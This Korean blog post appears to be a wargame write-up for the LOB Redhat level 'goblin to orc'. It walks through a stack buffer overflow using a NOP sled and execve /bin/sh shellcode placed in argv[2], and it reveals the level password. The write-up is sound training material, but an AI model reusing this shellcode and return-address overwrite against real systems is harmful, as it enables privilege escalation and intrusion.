본문 바로가기

wargame/LOB Redhat

goblin to orc

1.ret2libc

 

소스를 보면, 환경변수 공격을 무력화 시키는 egg hunter 포함되어 있고, 프로그램의 인자의 47번째 글자는 '\xbf' 되어야 한다.

 

 

버퍼의 크기는 int i포함해서 44이다.

 

47번째에 '\xbf' 넣어보앗다.

 

[goblin@localhost goblin]$ ./orc `perl -e 'print "\x41"x47,"\xbf"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

풱egmentation fault

예상대로 if문을 지나가고 strcpy 인한 bof취약점으로 인한 segmentation fault 일어난다.

 

argv[1] 44~47번까지는 ret인데 이말은 ret 주소가 bf 시작되어야 한다는 말이다.

 

그래서 system 주소는 40으로 시작하므로, 다른공격을 시도해야 한다.

 

 

 

2.환경변수공격

 

egg hunter 인해 불가능

 

 

 

3.argv[2] 이용한 공격

공격이 가장 적당한듯 하다.

argv[2] 위치를 확인해보면 주소가 bf 시작하고 적중률도 높기 때문이다.

gdb 돌렸을 때의 argv[2] 위치

(gdb) x/s 0xbffffe2c

0xbffffe2c:      'a' <repeats 47 times>, "?

 

payload 작성

[nop*44][argv[2] nopslide]

 

공격해보자!

[goblin@localhost goblin]$ bash2

[goblin@localhost goblin]$ ./orc `perl -e 'print "\x90"x44,"\xff\xfe\xff\xbf"'` `perl -e 'print "\x90"x1000,"\x31\x

c0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱?

풱egmentation fault

[goblin@localhost goblin]$ ./orc `perl -e 'print "\x90"x44,"\xff\xfe\xff\xbf"'` `perl -e 'print "\x90"x10000,"\x31\

xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱?

풱egmentation fault

[goblin@localhost goblin]$ ./orc `perl -e 'print "\x90"x44,"\xff\xfd\xff\xbf"'` `perl -e 'print "\x90"x10000,"\x31\

xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱?

풺ash$ id

uid=503(goblin) gid=503(goblin) euid=504(orc) egid=504(orc) groups=503(goblin)

bash$ my-pass

euid = 504

cantata

'wargame > LOB Redhat' 카테고리의 다른 글

wolfman to darkelf  (0) 2014.05.27
orc to wolfman  (0) 2014.05.27
cobolt to goblin  (0) 2014.05.14
gremlin to cobolt  (0) 2014.05.14
gate to gremlin  (0) 2014.05.14